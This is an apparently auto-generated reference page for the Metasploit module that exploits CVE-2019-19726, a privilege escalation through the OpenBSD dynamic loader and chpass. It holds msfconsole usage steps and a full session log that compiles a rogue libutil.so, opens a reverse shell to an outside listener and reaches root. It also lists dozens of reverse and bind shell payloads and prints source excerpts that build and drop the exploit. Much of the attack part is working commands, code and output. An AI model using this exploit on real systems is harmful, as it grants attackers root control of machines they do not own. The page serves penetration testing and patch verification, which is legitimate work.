OpenBSD Dynamic Loader chpass Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/openbsd/local/dynamic_loader_chpass_privesc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: OpenBSD Dynamic Loader chpass Privilege Escalation
Module: exploit/openbsd/local/dynamic_loader_chpass_privesc
Source code: modules/exploits/openbsd/local/dynamic_loader_chpass_privesc.rb
Disclosure date: 2019-12-11
Last modification time: 2020-09-18 11:38:43 +0000
Supported architecture(s): cmd
Supported platform(s): BSD, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2019-19726

This module exploits a vulnerability in the OpenBSD ld.so dynamic loader (CVE-2019-19726). The _dl_getenv() function fails to reset the LD_LIBRARY_PATH environment variable when set with approximately ARG_MAX colons. This can be abused to load libutil.so from an untrusted path, using LD_LIBRARY_PATH in combination with the chpass set-uid executable, resulting in privileged code execution. This module has been tested successfully on: OpenBSD 6.1 (amd64); and OpenBSD 6.6 (amd64)

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/openbsd/local/dynamic_loader_chpass_privesc
msf exploit(dynamic_loader_chpass_privesc) > show targets
    ... a list of targets ...
msf exploit(dynamic_loader_chpass_privesc) > set TARGET target-id
msf exploit(dynamic_loader_chpass_privesc) > show options
    ... show and set options ...
msf exploit(dynamic_loader_chpass_privesc) > set SESSION session-id
msf exploit(dynamic_loader_chpass_privesc) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Description


This module exploits a vulnerability in the OpenBSD ld.so dynamic loader (CVE-2019-19726).

The _dl_getenv() function fails to reset the LD_LIBRARY_PATH environment variable when set with approximately ARG_MAX colons.

This can be abused to load libutil.so from an untrusted path, using LD_LIBRARY_PATH in combination with the chpass set-uid executable, resulting in privileged code execution.

Vulnerable Application


This module has been tested successfully on:

  • OpenBSD 6.1 (amd64)
  • OpenBSD 6.6 (amd64)

Verification Steps


  1. Start msfconsole
  2. Get a session
  3. use exploit/openbsd/local/dynamic_loader_chpass_privesc
  4. set SESSION <SESSION>
  5. check
  6. run
  7. You should get a new root session

Options


SESSION

Which session to use, which can be viewed with sessions

CHPASS_PATH

Path to chpass (default: /usr/bin/chpass)

Scenarios


OpenBSD 6.1 GENERIC#19 amd64

  msf5 > use exploit/openbsd/local/dynamic_loader_chpass_privesc 
  msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > set verbose true
  verbose => true
  msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > set session 1
  session => 1
  msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > check

  [+] Patch 013_ldso is not present
  [+] cc is installed
  [*] The service is running, but could not be validated.
  msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > set lhost 172.16.191.165
  lhost => 172.16.191.165
  msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > run

  [*] Started reverse TCP double handler on 172.16.191.165:4444 
  [+] Patch 013_ldso is not present
  [+] cc is installed
  [+] Found libutil.so name: libutil.so.12.1
  [*] Writing '/tmp/.86MXG.c' (316 bytes) ...
  [*] Max line length is 4096
  [*] Writing 316 bytes in 1 chunks of 1145 bytes (octal-encoded), using printf
  [*] Compiling /tmp/libutil.so.12.1 ...
  [*] Writing '/tmp/.DRbqHJ.c' (602 bytes) ...
  [*] Max line length is 4096
  [*] Writing 602 bytes in 1 chunks of 2170 bytes (octal-encoded), using printf
  [*] Compiling /tmp/.DRbqHJ ...
  [*] Writing '/tmp/.2bowjnW1' (139 bytes) ...
  [*] Max line length is 4096
  [*] Writing 139 bytes in 1 chunks of 470 bytes (octal-encoded), using printf
  [*] Launching exploit...
  [*] Accepted the first client connection...
  [*] Accepted the second client connection...
  [*] Command: echo Y6H5kRiGDyQjzQKI;
  [*] Writing to socket A
  [*] Writing to socket B
  [*] Reading from sockets...
  [*] Reading from socket B
  [*] B: "Y6H5kRiGDyQjzQKI\r\n"
  [*] Matching...
  [*] A is input...
  [*] Command shell session 2 opened (172.16.191.165:4444 -> 172.16.191.205:43611) at 2019-12-13 04:03:22 -0500
  [+] Deleted /tmp/.86MXG.c
  [+] Deleted /tmp/libutil.so.12.1
  [+] Deleted /tmp/.DRbqHJ.c
  [+] Deleted /tmp/.DRbqHJ
  [+] Deleted /tmp/.2bowjnW1

  id
  uid=0(root) gid=0(wheel) groups=1001(test)
  uname -a
  OpenBSD openbsd-6-1.localdomain 6.1 GENERIC#19 amd64

Go back to menu.

Msfconsole Usage


Here is how the openbsd/local/dynamic_loader_chpass_privesc exploit module looks in the msfconsole:

msf6 > use exploit/openbsd/local/dynamic_loader_chpass_privesc

[*] Using configured payload cmd/unix/reverse
msf6 exploit(openbsd/local/dynamic_loader_chpass_privesc) > show info

       Name: OpenBSD Dynamic Loader chpass Privilege Escalation
     Module: exploit/openbsd/local/dynamic_loader_chpass_privesc
   Platform: BSD, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-12-11

Provided by:
  Qualys
  bcoles <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  Yes

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  CHPASS_PATH  /usr/bin/chpass  yes       Path to chpass
  SESSION                       yes       The session to run this module on.

Payload information:

Description:
  This module exploits a vulnerability in the OpenBSD `ld.so` dynamic 
  loader (CVE-2019-19726). The `_dl_getenv()` function fails to reset 
  the `LD_LIBRARY_PATH` environment variable when set with 
  approximately `ARG_MAX` colons. This can be abused to load 
  `libutil.so` from an untrusted path, using `LD_LIBRARY_PATH` in 
  combination with the `chpass` set-uid executable, resulting in 
  privileged code execution. This module has been tested successfully 
  on: OpenBSD 6.1 (amd64); and OpenBSD 6.6 (amd64)

References:
  https://nvd.nist.gov/vuln/detail/CVE-2019-19726
  https://www.exploit-db.com/exploits/47780
  https://blog.qualys.com/laws-of-vulnerabilities/2019/12/11/openbsd-local-privilege-escalation-vulnerability-cve-2019-19726
  https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt
  https://www.openwall.com/lists/oss-security/2019/12/11/9
  https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19726/openbsd-dynamic-loader-chpass
  https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig

Module Options


This is a complete list of options available in the openbsd/local/dynamic_loader_chpass_privesc exploit:

msf6 exploit(openbsd/local/dynamic_loader_chpass_privesc) > show options

Module options (exploit/openbsd/local/dynamic_loader_chpass_privesc):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CHPASS_PATH  /usr/bin/chpass  yes       Path to chpass
   SESSION                       yes       The session to run this module on.

Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the openbsd/local/dynamic_loader_chpass_privesc exploit:

msf6 exploit(openbsd/local/dynamic_loader_chpass_privesc) > show advanced

Module advanced options (exploit/openbsd/local/dynamic_loader_chpass_privesc):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                10               no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where we can write files

Payload advanced options (cmd/unix/reverse):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the openbsd/local/dynamic_loader_chpass_privesc module can exploit:

msf6 exploit(openbsd/local/dynamic_loader_chpass_privesc) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the openbsd/local/dynamic_loader_chpass_privesc exploit:

msf6 exploit(openbsd/local/dynamic_loader_chpass_privesc) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   3   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   4   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   5   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7   payload/cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   8   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   9   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   10  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   11  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   12  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   13  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   14  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   15  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   16  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   17  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   18  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   19  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   20  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   21  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   22  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   23  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   24  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   25  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   26  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   27  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   28  payload/cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   29  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   30  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   31  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   32  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   33  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   34  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   35  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   36  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   37  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   38  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   39  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   40  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   41  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   42  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   43  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   44  payload/generic/custom                                       normal  No     Custom Payload
   45  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   46  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the openbsd/local/dynamic_loader_chpass_privesc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(openbsd/local/dynamic_loader_chpass_privesc) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Patch <PATCH> has been installed. Target is not vulnerable.


Here is a relevant code snippet related to the "Patch <PATCH> has been installed. Target is not vulnerable." error message:

88:	
89:	  def check
90:	    patches = cmd_exec('syspatch -l').to_s
91:	    patch = '013_ldso'
92:	    if patches.include? patch
93:	      vprint_error "Patch #{patch} has been installed. Target is not vulnerable."
94:	      return CheckCode::Safe
95:	    end
96:	    vprint_good "Patch #{patch} is not present"
97:	
98:	    unless command_exists? 'cc'

cc is not installed


Here is a relevant code snippet related to the "cc is not installed" error message:

94:	      return CheckCode::Safe
95:	    end
96:	    vprint_good "Patch #{patch} is not present"
97:	
98:	    unless command_exists? 'cc'
99:	      vprint_error 'cc is not installed'
100:	      return CheckCode::Safe
101:	    end
102:	    print_good 'cc is installed'
103:	
104:	    CheckCode::Detected

Session already has root privileges. Set ForceExploit to override.


Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:

105:	  end
106:	
107:	  def exploit
108:	    if is_root?
109:	      unless datastore['ForceExploit']
110:	        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
111:	      end
112:	    end
113:	
114:	    unless writable? base_dir
115:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"

<BASE_DIR> is not writable


Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:

110:	        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
111:	      end
112:	    end
113:	
114:	    unless writable? base_dir
115:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"
116:	    end
117:	
118:	    # Qualys set-uid shared object from https://www.openwall.com/lists/oss-security/2019/12/11/9
119:	    lib_data = <<-EOF
120:	#include <paths.h>

Could not determine libutil.so name. Using: <VALUE>


Here is a relevant code snippet related to the "Could not determine libutil.so name. Using: <VALUE>" error message:

135:	      libs << lib
136:	      print_good "Found libutil.so name: #{lib}"
137:	    else
138:	      libs << 'libutil.so.12.1'
139:	      libs << 'libutil.so.13.1'
140:	      print_warning "Could not determine libutil.so name. Using: #{libs.join(', ')}"
141:	    end
142:	
143:	    lib_src_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}.c"
144:	    upload lib_src_path, lib_data
145:	    libs.each do |lib_name|

<LIB_PATH>.c failed to compile


Here is a relevant code snippet related to the "<LIB_PATH>.c failed to compile" error message:

148:	      output = cmd_exec "cc -fpic -shared -s -o #{lib_path} #{lib_src_path} -Wall"
149:	      register_file_for_cleanup lib_path
150:	
151:	      unless output.blank?
152:	        print_error output
153:	        fail_with Failure::Unknown, "#{lib_path}.c failed to compile"
154:	      end
155:	    end
156:	
157:	    # Qualys exploit from https://www.openwall.com/lists/oss-security/2019/12/11/9
158:	    exploit_data = <<-EOF

<EXPLOIT_PATH>.c failed to compile


Here is a relevant code snippet related to the "<EXPLOIT_PATH>.c failed to compile" error message:

187:	    output = cmd_exec "cc -s #{exploit_path}.c -o #{exploit_path} -Wall"
188:	    register_file_for_cleanup exploit_path
189:	
190:	    unless output.blank?
191:	      print_error output
192:	      fail_with Failure::Unknown, "#{exploit_path}.c failed to compile"
193:	    end
194:	
195:	    payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
196:	    upload payload_path, "#!/bin/sh\n#{payload.encoded}\n"
197:	    chmod payload_path

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Qualys
  • bcoles

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.